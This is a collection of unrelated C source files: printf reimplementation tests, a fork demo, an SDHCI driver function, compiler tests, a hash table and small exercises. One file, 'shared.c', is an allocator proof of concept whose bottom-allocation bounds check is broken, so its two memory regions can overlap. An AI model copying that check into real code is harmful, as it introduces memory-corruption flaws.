ft_printf("Teste interessante\n"); printf("- - -"); printf("Teste %#00*.*d, esse é o teste %s\n", 10, 5, 42, "legal"); ft_printf("Teste %#00*.*d, esse é o teste %s\n", 10, 5, 42, "legal"); printf("- - -"); printf("Teste %0%\n"); ft_printf("Teste %0%\n"); printf("- - -"); printf("-----------------------\n"); /* s conversion */ printf("s conversion examples\n"); printf("%s\n", "string"); ft_printf("%s\n", "string"); printf("- - -"); printf("%8s\n", "string"); ft_printf("%8s\n", "string"); printf("- - -"); printf("%8.3s\n", "string"); ft_printf("%8.3s\n", "string"); printf("- - -"); printf("%-8.3s\n", "string"); ft_printf("%-8.3s\n", "string"); printf("- - -"); printf("%8.s\n", "string"); ft_printf("%8.s\n", "string"); printf("- - -"); printf("%8.1s\n", "string"); ft_printf("%8.1s\n", "string"); printf("- - -"); printf("%-32s\n", "abc"); ft_printf("%-32s\n", "abc"); printf("- - -"); printf("%s\n", NULL); ft_printf("%s\n", NULL); printf("- - -"); printf("%.0s\n", NULL); ft_printf("%.0s\n", NULL); printf("- - -"); printf("%3.1s\n", NULL); ft_printf("%3.1s\n", NULL); printf("- - -"); printf("%9.1s\n", NULL); ft_printf("%9.1s\n", NULL); printf("- - -"); printf("%-32s\n", NULL); ft_printf("%-32s\n", NULL); printf("- - -"); printf("%-*.*s", -7, -3, "yolo"); ft_printf("%-*.*s", -7, -3, "yolo"); printf("- - -"); printf("Test %s %s\n", "of", "string"); ft_printf("Test %s %s\n", "of", "string"); printf("- - -"); printf("-----------------------\n"); /* u conversion */ printf("u conversion examples\n"); printf("%u\n", 1); ft_printf("%u\n", 1); printf("- - -"); printf("%4u\n", 1); ft_printf("%4u\n", 1); printf("- - -"); printf("%-4u\n", 1); ft_printf("%-4u\n", 1); printf("- - -"); printf("%*.*u\n", 2, -1, 8); ft_printf("%*.*u\n", 2, -1, 8); printf("- - -"); printf("%*.*u\n", -1, 2, 8); ft_printf("%*.*u\n", -1, 2, 8); printf("- - -"); printf("-----------------------\n"); /* x conversion */ printf("x conversion examples\n"); printf("%+#.5x\n", 0); ft_printf("%+#.5x\n", 0); printf("- - -"); printf("%+#.5x\n", 312); ft_printf("%+#.5x\n", 312); printf("- - -"); printf("%07x\n", 255); ft_printf("%07x\n", 255); printf("- - -"); printf("%0#7x\n", 255); ft_printf("%0#7x\n", 255); printf("- - -"); printf("%x\n", 0); ft_printf("%x\n", 0); printf("- - -"); printf("%#x\n", 0); ft_printf("%#x\n", 0); printf("- - -"); printf("%x\n", 255); ft_printf("%x\n", 255); printf("- - -"); printf("%#x\n", 255); ft_printf("%#x\n", 255); printf("- - -"); printf("-----------------------\n"); /* X conversion */ printf("X conversion examples\n"); printf("%7X\n", 255); ft_printf("%7X\n", 255); printf("- - -"); printf("%#7X\n", 255); ft_printf("%#7X\n", 255); printf("- - -"); printf("%-7X\n", 255); ft_printf("%-7X\n", 255); printf("- - -"); printf("%-#7X\n", 255); ft_printf("%-#7X\n", 255); printf("- - -"); printf("%X\n", 255); ft_printf("%X\n", 255); printf("- - -"); printf("%#X\n", 255); ft_printf("%#X\n", 255); printf("- - -"); printf("-----------------------\n"); /* d and i conversions */ printf("d and i conversion examples\n"); printf("%d\n", 0); ft_printf("%d\n", 0); printf("- - -"); printf("%5d\n", 0); ft_printf("%5d\n", 0); printf("- - -"); printf("%5.3d\n", 0); ft_printf("%5.3d\n", 0); printf("- - -"); printf("%+.0d\n", 0); ft_printf("%+.0d\n", 0); printf("- - -"); printf("%+.5d\n", 0); ft_printf("%+.5d\n", 0); printf("- - -"); printf("%+5.3d\n", 0); ft_printf("%+5.3d\n", 0); printf("- - -"); printf("%-+5.3d\n", 0); ft_printf("%-+5.3d\n", 0); printf("- - -"); printf("%-+05.3d\n", 0); ft_printf("%-+05.3d\n", 0); printf("- - -"); printf("%d\n", 1); ft_printf("%d\n", 1); printf("- - -"); printf("%+d\n", 1); ft_printf("%+d\n", 1); printf("- - -"); printf("%d\n", -1); ft_printf("%d\n", -1); printf("- - -"); printf("%5.4d\n", -1); ft_printf("%5.4d\n", -1); printf("- - -"); printf("% d\n", 42); ft_printf("% d\n", 42); printf("- - -"); printf("%d\n", LONG_MAX); ft_printf("%d\n", LONG_MAX); printf("- - -"); printf("%ld\n", LONG_MAX); ft_printf("%ld\n", LONG_MAX); printf("- - -"); printf("%lld\n", LLONG_MAX); ft_printf("%lld\n", LLONG_MAX); printf("- - -"); printf("%hd\n", LONG_MAX); ft_printf("%hd\n", LONG_MAX); printf("- - -"); printf("%d\n", 1); ft_printf("%d\n", 1); printf("- - -"); printf("%+d\n", 1); ft_printf("%+d\n", 1); printf("- - -"); printf("%10d\n", 1); ft_printf("%10d\n", 1); printf("- - -"); printf("%-10d\n", 1); ft_printf("%-10d\n", 1); printf("- - -"); printf("%+10d\n", 1); ft_printf("%+10d\n", 1); printf("- - -"); printf("%-+10d\n", 1); ft_printf("%-+10d\n", 1); printf("- - -"); printf("%04d\n", 5); ft_printf("%04d\n", 5); printf("- - -"); printf("%+d\n", 42); ft_printf("%+d\n", 42); printf("- - -"); printf("%+2d\n", 42); ft_printf("%+2d\n", 42); printf("- - -"); printf("%+.1d\n", 42); ft_printf("%+.1d\n", 42); printf("- - -"); printf("%-*.*d\n", 3, 3, -12); ft_printf("%-*.*d\n", 3, 3, -12); printf("- - -"); printf("%-0*i\n", 12, 8); ft_printf("%-0*i\n", 12, 8); printf("- - -"); printf("%-*.*d", 3, 3, -12); ft_printf("%-*.*d", 3, 3, -12); printf("- - -"); printf("%.*i", -6, -3); ft_printf("%.*i", -6, -3); printf("- - -"); printf("\n-----------------------\n"); /* f conversions */ printf("f conversion examples\n"); printf("%f\n", 4.2); ft_printf("%f\n", 4.2); printf("- - -"); printf("%f\n", 4.29831); ft_printf("%f\n", 4.29831); printf("- - -"); printf("%10f\n", 4.2); ft_printf("%10f\n", 4.2); printf("- - -"); printf("%10.4f\n", 4.2); ft_printf("%10.4f\n", 4.2); printf("- - -"); printf("%010.4f\n", 4.2); ft_printf("%010.4f\n", 4.2); printf("- - -"); printf("%-10.4f\n", 4.2); ft_printf("%-10.4f\n", 4.2); printf("- - -"); printf("%-010.4f\n", 4.2); ft_printf("%-010.4f\n", 4.2); printf("- - -"); printf("%2.4f\n", 4.2); ft_printf("%2.4f\n", 4.2); printf("- - -"); printf("%02.4f\n", 4.2); ft_printf("%02.4f\n", 4.2); printf("- - -"); printf("%-2.4f\n", 4.2); ft_printf("%-2.4f\n", 4.2); printf("- - -"); printf("%-02.4f\n", 4.2); ft_printf("%-02.4f\n", 4.2); printf("- - -"); printf("%-02.1f\n", 4.2); ft_printf("%-02.1f\n", 4.2); printf("- - -"); printf("-----------------------\n"); }
the_stack_data/232955823.c
/* * shared.c * * _Old_ POC (the final version would be much more complex and interesting) * code for an embedded device TV implementing * a custom memory allocator for two 'clients', to each one * is given a memory endpoint segmentation, one starting from * left to right and the other one starting from right to left * until they reach each other then we cannot allocate more slots. * * - hash * * */ #include <stdio.h> #include <string.h> #include <string.h> #include <stdlib.h> #define SIZE 64 typedef struct __memory_t { char* bottomPtr; char data[SIZE]; int topPos; int bottomPos; } memory_t; static inline memory_t* getMem() { static int lock = 0; static memory_t mem; if(!lock) { lock = 1; memset(&mem, 0, sizeof(memory_t)); } return &mem; } void printBuf(char* func) { memory_t* mem = (memory_t*)getMem(); int i; printf("%s: ", func); for(i=0; i<SIZE; ++i) { if(mem->data[i] == 0) printf("_"); else printf("%c", mem->data[i]); } puts(""); } void allocTop(int size, char* buff) { memory_t* mem = (memory_t*)getMem(); if(size >= SIZE || size < 0) { printf("%d:%s error\n", __LINE__, __FUNCTION__); return; } if( (mem->bottomPos + size) > SIZE) { printf("%d:%s error\n", __LINE__, __FUNCTION__); return; } memset(mem->data, 0, mem->topPos); memcpy(mem->data, buff, size); mem->topPos = size; printBuf((char*)__FUNCTION__); } void allocBot(int size, char* buff) { memory_t* mem = (memory_t*)getMem(); if(size >= SIZE || size < 0) { printf("%d:%s error\n", __LINE__, __FUNCTION__); return; } if( (mem->topPos + size || size <= 0) > SIZE) { printf("%d:%s error\n", __LINE__, __FUNCTION__); return; } memset(mem->bottomPtr, 0, mem->bottomPos); memcpy(mem->data + (SIZE - size), buff, size); mem->bottomPos = size; mem->bottomPtr = mem->data + (SIZE - size); printBuf((char*)__FUNCTION__); } int main(int argc, char** argv) { allocBot(strlen("test"), "test"); allocTop(strlen("nuts"), "nuts"); allocTop(strlen("sync"), "sync"); allocBot(strlen("x"), "x"); allocTop(strlen("W"), "W"); allocBot(strlen("Y"), "Y"); allocBot(strlen("W"), "W"); allocBot(strlen("KK"), "KK"); allocBot(strlen("x y w z"), "x y w z"); allocBot(strlen("Z"), "Z"); allocBot(strlen("TT"), "TT"); allocBot(strlen("O"), "O"); allocTop(strlen("gta"), "gta"); allocTop(strlen("W"), "W"); allocTop(strlen("nsf"), "nsf"); allocBot(strlen("T"), "T"); allocBot(strlen("H"), "H"); allocTop(strlen("R"), "R"); allocBot(strlen("BAAC"), "BAAC"); allocBot(0, NULL); allocBot(strlen("Bptoooooooooooooooo"), "Bptoooooooooooooooo"); allocTop(strlen("T"), "T"); allocBot(strlen("Bptooooooooooooooo"), "Bptooooooooooooooo"); allocTop(0, NULL); allocBot(strlen("BptooooooooooooooFF"), "BptooooooooooooooFF"); allocBot(strlen("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"), "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); allocTop(strlen("yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"), "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"); allocBot(0, NULL); return 0; }
the_stack_data/996726.c
#include <unistd.h> #include <stdio.h> int main(void) { int i=0; printf("i son/pa ppid pid fpid\n"); //ppid指当前进程的父进程pid //pid指当前进程的pid, //fpid指fork返回给当前进程的值 for(i=0;i<2;i++){ pid_t fpid=fork(); if(fpid==0) printf("%d child %4d %4d %4d\n",i,getppid(),getpid(),fpid); else printf("%d parent %4d %4d %4d\n",i,getppid(),getpid(),fpid); } return 0; }
the_stack_data/104826737.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u8 ; typedef scalar_t__ u32 ; struct thermal_zone_device {int dummy; } ; struct sdhci_pltfm_host {int dummy; } ; struct sdhci_omap_host {int is_tuning; struct device* dev; } ; struct sdhci_host {int ier; } ; struct mmc_ios {int clock; scalar_t__ timing; } ; struct mmc_host {struct mmc_ios ios; } ; struct device {int dummy; } ; /* Variables and functions */ scalar_t__ AC12_SCLK_SEL ; scalar_t__ CAPA2_TSDR50 ; int DIV_ROUND_UP (int,int) ; scalar_t__ DLL_SWT ; int EIO ; scalar_t__ IS_ERR (struct thermal_zone_device*) ; scalar_t__ MAX_PHASE_DELAY ; scalar_t__ MMC_TIMING_UHS_SDR50 ; int PTR_ERR (struct thermal_zone_device*) ; int SDHCI_INT_DATA_CRC ; int /*<<< orphan*/ SDHCI_INT_ENABLE ; int /*<<< orphan*/ SDHCI_OMAP_AC12 ; int /*<<< orphan*/ SDHCI_OMAP_CAPA2 ; int /*<<< orphan*/ SDHCI_OMAP_DLL ; int SDHCI_RESET_CMD ; int SDHCI_RESET_DATA ; int /*<<< orphan*/ SDHCI_SIGNAL_ENABLE ; int /*<<< orphan*/ dev_err (struct device*,char*) ; scalar_t__ min (scalar_t__,scalar_t__) ; struct sdhci_host* mmc_priv (struct mmc_host*) ; scalar_t__ mmc_send_tuning (struct mmc_host*,scalar_t__,int /*<<< orphan*/ *) ; int /*<<< orphan*/ sdhci_omap_disable_tuning (struct sdhci_omap_host*) ; scalar_t__ sdhci_omap_readl (struct sdhci_omap_host*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ sdhci_omap_set_dll (struct sdhci_omap_host*,scalar_t__) ; int /*<<< orphan*/ sdhci_omap_writel (struct sdhci_omap_host*,int /*<<< orphan*/ ,scalar_t__) ; struct sdhci_omap_host* sdhci_pltfm_priv (struct sdhci_pltfm_host*) ; struct sdhci_pltfm_host* sdhci_priv (struct sdhci_host*) ; int /*<<< orphan*/ sdhci_reset (struct sdhci_host*,int) ; int /*<<< orphan*/ sdhci_writel (struct sdhci_host*,int,int /*<<< orphan*/ ) ; int thermal_zone_get_temp (struct thermal_zone_device*,int*) ; struct thermal_zone_device* thermal_zone_get_zone_by_name (char*) ; __attribute__((used)) static int sdhci_omap_execute_tuning(struct mmc_host *mmc, u32 opcode) { struct sdhci_host *host = mmc_priv(mmc); struct sdhci_pltfm_host *pltfm_host = sdhci_priv(host); struct sdhci_omap_host *omap_host = sdhci_pltfm_priv(pltfm_host); struct thermal_zone_device *thermal_dev; struct device *dev = omap_host->dev; struct mmc_ios *ios = &mmc->ios; u32 start_window = 0, max_window = 0; bool single_point_failure = false; bool dcrc_was_enabled = false; u8 cur_match, prev_match = 0; u32 length = 0, max_len = 0; u32 phase_delay = 0; int temperature; int ret = 0; u32 reg; int i; /* clock tuning is not needed for upto 52MHz */ if (ios->clock <= 52000000) return 0; reg = sdhci_omap_readl(omap_host, SDHCI_OMAP_CAPA2); if (ios->timing == MMC_TIMING_UHS_SDR50 && !(reg & CAPA2_TSDR50)) return 0; thermal_dev = thermal_zone_get_zone_by_name("cpu_thermal"); if (IS_ERR(thermal_dev)) { dev_err(dev, "Unable to get thermal zone for tuning\n"); return PTR_ERR(thermal_dev); } ret = thermal_zone_get_temp(thermal_dev, &temperature); if (ret) return ret; reg = sdhci_omap_readl(omap_host, SDHCI_OMAP_DLL); reg |= DLL_SWT; sdhci_omap_writel(omap_host, SDHCI_OMAP_DLL, reg); /* * OMAP5/DRA74X/DRA72x Errata i802: * DCRC error interrupts (MMCHS_STAT[21] DCRC=0x1) can occur * during the tuning procedure. So disable it during the * tuning procedure. */ if (host->ier & SDHCI_INT_DATA_CRC) { host->ier &= ~SDHCI_INT_DATA_CRC; dcrc_was_enabled = true; } omap_host->is_tuning = true; /* * Stage 1: Search for a maximum pass window ignoring any * any single point failures. If the tuning value ends up * near it, move away from it in stage 2 below */ while (phase_delay <= MAX_PHASE_DELAY) { sdhci_omap_set_dll(omap_host, phase_delay); cur_match = !mmc_send_tuning(mmc, opcode, NULL); if (cur_match) { if (prev_match) { length++; } else if (single_point_failure) { /* ignore single point failure */ length++; } else { start_window = phase_delay; length = 1; } } else { single_point_failure = prev_match; } if (length > max_len) { max_window = start_window; max_len = length; } prev_match = cur_match; phase_delay += 4; } if (!max_len) { dev_err(dev, "Unable to find match\n"); ret = -EIO; goto tuning_error; } /* * Assign tuning value as a ratio of maximum pass window based * on temperature */ if (temperature < -20000) phase_delay = min(max_window + 4 * (max_len - 1) - 24, max_window + DIV_ROUND_UP(13 * max_len, 16) * 4); else if (temperature < 20000) phase_delay = max_window + DIV_ROUND_UP(9 * max_len, 16) * 4; else if (temperature < 40000) phase_delay = max_window + DIV_ROUND_UP(8 * max_len, 16) * 4; else if (temperature < 70000) phase_delay = max_window + DIV_ROUND_UP(7 * max_len, 16) * 4; else if (temperature < 90000) phase_delay = max_window + DIV_ROUND_UP(5 * max_len, 16) * 4; else if (temperature < 120000) phase_delay = max_window + DIV_ROUND_UP(4 * max_len, 16) * 4; else phase_delay = max_window + DIV_ROUND_UP(3 * max_len, 16) * 4; /* * Stage 2: Search for a single point failure near the chosen tuning * value in two steps. First in the +3 to +10 range and then in the * +2 to -10 range. If found, move away from it in the appropriate * direction by the appropriate amount depending on the temperature. */ for (i = 3; i <= 10; i++) { sdhci_omap_set_dll(omap_host, phase_delay + i); if (mmc_send_tuning(mmc, opcode, NULL)) { if (temperature < 10000) phase_delay += i + 6; else if (temperature < 20000) phase_delay += i - 12; else if (temperature < 70000) phase_delay += i - 8; else phase_delay += i - 6; goto single_failure_found; } } for (i = 2; i >= -10; i--) { sdhci_omap_set_dll(omap_host, phase_delay + i); if (mmc_send_tuning(mmc, opcode, NULL)) { if (temperature < 10000) phase_delay += i + 12; else if (temperature < 20000) phase_delay += i + 8; else if (temperature < 70000) phase_delay += i + 8; else if (temperature < 90000) phase_delay += i + 10; else phase_delay += i + 12; goto single_failure_found; } } single_failure_found: reg = sdhci_omap_readl(omap_host, SDHCI_OMAP_AC12); if (!(reg & AC12_SCLK_SEL)) { ret = -EIO; goto tuning_error; } sdhci_omap_set_dll(omap_host, phase_delay); omap_host->is_tuning = false; goto ret; tuning_error: omap_host->is_tuning = false; dev_err(dev, "Tuning failed\n"); sdhci_omap_disable_tuning(omap_host); ret: sdhci_reset(host, SDHCI_RESET_CMD | SDHCI_RESET_DATA); /* Reenable forbidden interrupt */ if (dcrc_was_enabled) host->ier |= SDHCI_INT_DATA_CRC; sdhci_writel(host, host->ier, SDHCI_INT_ENABLE); sdhci_writel(host, host->ier, SDHCI_SIGNAL_ENABLE); return ret; }
the_stack_data/126701753.c
#include <assert.h> long long factorial(int n) { if (n < 2) { return n; } return n * factorial(n - 1); } int main() { for (int i=0; i<10000; i++) { assert(2 == factorial(2)); assert(6 == factorial(3)); assert(120 == factorial(5)); assert(3628800 == factorial(10)); assert(1307674368000 == factorial(15)); assert(2432902008176640000 == factorial(20)); } return 0; }
the_stack_data/50136456.c
#include <stdlib.h> #include <stdint.h> #include <stdio.h> #define BUCKETS 32 typedef struct HashElement { uint64_t loc; uint32_t val; struct HashElement *next; char initialized; char _padding[3]; } HashElement; uint32_t get_bucket(uint64_t loc) { return loc % BUCKETS; } struct HashElement *insert_val(HashElement *table_ptr[], uint64_t loc, uint32_t val) { uint32_t bucket = get_bucket(loc); HashElement *current = table_ptr[bucket]; HashElement *next; if (current) { next = current->next; } else { current = (HashElement *) malloc(sizeof(HashElement)); current->loc = loc; current->val = val; current->initialized = 0x1; current->next = (HashElement *) malloc(sizeof(HashElement)); current->next->initialized = 0x0; table_ptr[bucket] = current; return current; } size_t i = 0; while (next) { current = next; next = current->next; i++; } current->loc = loc; current->val = val; current->initialized = 0x1; current->next = (HashElement *) malloc(sizeof(HashElement)); current->next->initialized = 0x0; return next; } uint32_t get_val(HashElement *table_ptr[], uint64_t loc) { uint32_t bucket = get_bucket(loc); HashElement *current = table_ptr[bucket]; while (current && current->initialized == 0x1) { if (current->loc == loc) { return current->val; } else { current = current->next; } } uint32_t val = 0; if (current && current->val) { val = current->val; } return val; } uint32_t pop_element(HashElement *table_ptr[], uint64_t loc) { uint32_t bucket = get_bucket(loc); HashElement *prev = 0x0; HashElement *current = table_ptr[bucket]; while (current && current->loc != loc) { prev = current; current = current->next; } uint32_t val = current->val; HashElement *next = current->next; if (!prev) { table_ptr[bucket] = next; } else { prev->next = next; free(current); } return val; } int ensure_cells_right(HashElement *table_ptr[], uint64_t loc, size_t length) { uint32_t bucket = get_bucket(loc); for (int i = 0; i < length; i++) { if (get_val(table_ptr, loc + i) == 0) { insert_val(table_ptr, loc + i, 0); } } } int write_cells(HashElement *table_ptr[], uint64_t loc, size_t length) { // ensure_cells_right(table_ptr, loc, length); for (int i = 0; i < length; i++) { printf("%d ", get_val(table_ptr, loc + i)); } printf("\n"); } int init_table(HashElement *table_ptr[]) { for (int i = 0; i < BUCKETS; i++) { table_ptr[i] = 0x0; } } int free_table(HashElement *table_ptr[]) { for (int b = 0; b < BUCKETS; b++) { HashElement *current = table_ptr[b]; // Deferencing null structures will give a pointer to 0x1 // No idea where a pointer to 0xa00000000 came from... // especially after `init_table` while (current > 0x1 && current != 0xa00000000) { HashElement *next = current->next; free(current); current = next; } } }
the_stack_data/115764596.c
/* * AdventOfCode2020 * --- Day 1: Report Repair --- * part1: 63616 * part2: 67877784 * Elapsed: 4.727000 ms * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define DATA "../data/google-1.txt" void part1(int * d, int c); void part2(int * d, int c); int main(int argc, char *argv[]) { clock_t begin = clock(); // Load the data FILE * fp; char * line = NULL; size_t len = 0; ssize_t read; int data[200] = {0}; // define and initilize to zero int counter = 0; fp = fopen(DATA, "r"); if (fp == NULL) { exit(EXIT_FAILURE); } while ((read = getline(&line, &len, fp)) != -1) { //printf("Retrieved line of length %zu:\n", read); //printf("%s", line); data[counter] = atoi(line); counter++; } fclose(fp); part1(data,counter); part2(data,counter); clock_t end = clock(); printf("Elapsed: %f ms\n", (double)(end - begin) * 1000.0/ CLOCKS_PER_SEC); exit(EXIT_SUCCESS); } void part1(int * d, int c) { //part1 // Display the data in the array for (int i = 0; i<c; i++) { for (int j = 0; j<c; j++) { if(d[i]+d[j]==2020){ printf("part1: %d\n",d[i]*d[j]); return; } } } } void part2(int * d, int c) { //part1 // Display the data in the array for (int i = 0; i<c; i++) { for (int j = 0; j<c; j++) { for (int k = 0; k<c; k++) { if(d[i]+d[j]+d[k]==2020){ printf("part2: %d\n",d[i]*d[j]*d[k]); return; } } } } }
the_stack_data/62778.c
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm -disable-llvm-optzns -o - %s -O2 | FileCheck %s // RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm -disable-llvm-optzns -o - %s -O0 | FileCheck %s int a = 42; /* --- Compound literals */ struct foo { int x, y; }; int y; struct foo f = (struct foo){ __builtin_constant_p(y), 42 }; struct foo test0(int expr) { // CHECK-LABEL: test0 // CHECK: call i1 @llvm.is.constant.i32 struct foo f = (struct foo){ __builtin_constant_p(expr), 42 }; return f; } /* --- Pointer types */ int test1() { // CHECK-LABEL: test1 // CHECK: ret i32 0 return __builtin_constant_p(&a - 13); } /* --- Aggregate types */ int b[] = {1, 2, 3}; int test2() { // CHECK-LABEL: test2 // CHECK: ret i32 0 return __builtin_constant_p(b); } const char test3_c[] = {1, 2, 3, 0}; int test3() { // CHECK-LABEL: test3 // CHECK: ret i32 0 return __builtin_constant_p(test3_c); } inline char test4_i(const char *x) { return x[1]; } int test4() { // CHECK: define{{.*}} i32 @test4 // CHECK: ret i32 0 return __builtin_constant_p(test4_i(test3_c)); } /* --- Constant global variables */ const int c = 42; int test5() { // CHECK-LABEL: test5 // CHECK: ret i32 1 return __builtin_constant_p(c); } /* --- Array types */ int arr[] = { 1, 2, 3 }; const int c_arr[] = { 1, 2, 3 }; int test6() { // CHECK-LABEL: test6 // CHECK: call i1 @llvm.is.constant.i32 return __builtin_constant_p(arr[2]); } int test7() { // CHECK-LABEL: test7 // CHECK: call i1 @llvm.is.constant.i32 return __builtin_constant_p(c_arr[2]); } int test8() { // CHECK-LABEL: test8 // CHECK: ret i32 0 return __builtin_constant_p(c_arr); } /* --- Function pointers */ int test9() { // CHECK-LABEL: test9 // CHECK: ret i32 0 return __builtin_constant_p(&test9); } int test10() { // CHECK-LABEL: test10 // CHECK: ret i32 1 return __builtin_constant_p(&test10 != 0); } typedef unsigned long uintptr_t; #define assign(p, v) ({ \ uintptr_t _r_a_p__v = (uintptr_t)(v); \ if (__builtin_constant_p(v) && _r_a_p__v == (uintptr_t)0) { \ union { \ uintptr_t __val; \ char __c[1]; \ } __u = { \ .__val = (uintptr_t)_r_a_p__v \ }; \ *(volatile unsigned int*)&p = *(unsigned int*)(__u.__c); \ __u.__val; \ } \ _r_a_p__v; \ }) typedef void fn_p(void); extern fn_p *dest_p; static void src_fn(void) { } void test11() { assign(dest_p, src_fn); } extern int test12_v; struct { const char *t; int a; } test12[] = { { "tag", __builtin_constant_p(test12_v) && !test12_v ? 1 : 0 } }; extern char test13_v; struct { int a; } test13 = { __builtin_constant_p(test13_v) }; extern unsigned long long test14_v; void test14() { // CHECK-LABEL: test14 // CHECK: call void asm sideeffect "", {{.*}}(i32 -1) __asm__ __volatile__("" :: "n"( (__builtin_constant_p(test14_v) || 0) ? 1 : -1)); } int test15_f(); // CHECK-LABEL: define{{.*}} void @test15 // CHECK-NOT: call {{.*}}test15_f void test15() { int a, b; (void)__builtin_constant_p((a = b, test15_f())); }
the_stack_data/107953247.c
/******************************************************************************* * * Copyright (C) 2014-2018 Wave Computing, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ******************************************************************************/ #include <wchar.h> size_t wcslen (const wchar_t *s) { const wchar_t *p; p = s; while (*p) p++; return p - s; }
the_stack_data/12638642.c
/* * Pointers.c * * Created on: May 26, 2020 * Author: akshaybodla */ #include <stdio.h> #include <stdlib.h> void point2() { puts("Pointers!"); puts("Pointers are another data type that references the memory \naddress of another variable"); puts("\nPointer syntax: dataType * pVarName = &varName"); puts("The 'dataType' is the same of the original variable"); puts("(ex: int * pAge = &age)"); int length = 40; int * pLen = &length; printf("\nThe memory address of the length variable is \n%p\n", pLen); puts("Reference the first char of a string for a \nstring's pointer"); puts("\nDereferencing!"); puts("Dereferencing is taking a pointer and \"pulling out the variable value\" "); puts("To dereference put a '*' in-front of the pointer variable "); printf("The memory address's value above is: %d ", *pLen); }
the_stack_data/29825520.c
#include <stdio.h> #include <stdlib.h> // the number of threads #define ARGUMENT_NUMBER 20 long long result = 0; void *ThreadFunc(void *n) { long long i; long long number = *((long long *)n); printf("number = %lld\n", number); for(i = 0; i < 25000000; ++i) { // add number to result_component of corresponding thread result += number; } } int main(void) { long long argument[ARGUMENT_NUMBER]; pthread_t threadID[ARGUMENT_NUMBER]; long long i; for(i = 0; i < ARGUMENT_NUMBER; ++i) { argument[i] = i; } // create new threads // total num : ARGUMENT_NUMBER for(i = 0; i < ARGUMENT_NUMBER; ++i) { pthread_create(&(threadID[i]), NULL, ThreadFunc, (void*)(&argument[i])); } // wait for the termination of a specific thread // return immediately if thread has already ended for(i = 0; i < ARGUMENT_NUMBER; ++i) { pthread_join(threadID[i], NULL); } printf("result = %lld\n", result); return 0; }
the_stack_data/860359.c
/* * Write a program that reads the radius r of a circle and prints its * perimeter and area formatted with 2 digits after the decimal point. Examples: r perimeter area 2 12.57 12.57 3.5 21.99 38.48 */ #include <stdio.h> #define PI 3.14 int main() { double radius, area, perimeter; printf("Please enter the radius of a circle: "); scanf("%lf", &radius); area = PI * radius * radius; perimeter = 2 * PI * radius; printf("Area of the circle with radius %.2f is: %.2f\n", radius, area); printf("Perimeter of the circle with radius %.2f is: %.2f\n", radius, perimeter); return 0; }
the_stack_data/2075.c
/* ************************************************************************************************ * File: osa_csem.c * * Programmer: Timofeev Victor * [email protected], [email protected] ************************************************************************************************ */ /* ************************************************************************************************ * * * C O U N T I N G S E M A P H O R E S * * * ************************************************************************************************ */ //------------------------------------------------------------------------------ #ifdef OS_ENABLE_CSEM //------------------------------------------------------------------------------ /* ******************************************************************************** * * * void _OS_Csem_Signal (OST_CSEM *pCSem) * * * *------------------------------------------------------------------------------* * * * Increase counting semaphore. Set EventError if csem is FF... * * * * * * parameters: pCSem - pointer to counting semaphore * * * * on return: OS_IsEventError() * * * * Overloaded in: "osa_pic16_htpicc.c" * * "osa_pic18_htpicc.c" * * * ******************************************************************************** */ //------------------------------------------------------------------------------ #if !defined(_OS_Csem_Signal_DEFINED) //------------------------------------------------------------------------------ void _OS_Csem_Signal (OST_CSEM *pCSem) { _OS_Flags.bEventError = 0; (*pCSem)++; if (!*pCSem) { (*pCSem) = (OST_CSEM) -1; _OS_Flags.bEventError = 1; } } //------------------------------------------------------------------------------ #endif // !defined(_OS_Csem_Signal_DEFINED //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ #if defined(OS_ENABLE_INT_CSEM) && !defined(_OS_Csem_Signal_I_DEFINED) //------------------------------------------------------------------------------ void _OS_Csem_Signal_I (OST_CSEM *pCSem) { _OS_Flags.bEventError = 0; (*pCSem)++; if (!*pCSem) { (*pCSem) = (OST_CSEM) -1; _OS_Flags.bEventError = 1; } } //------------------------------------------------------------------------------ #endif // OS_ENABLE_INT_CSEM && !_OS_Csem_Signal_I_DEFINED //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ #endif // OS_CSEM_ENABLE //------------------------------------------------------------------------------ //****************************************************************************** // END OF FILE osa_csem.c //******************************************************************************
the_stack_data/139111.c
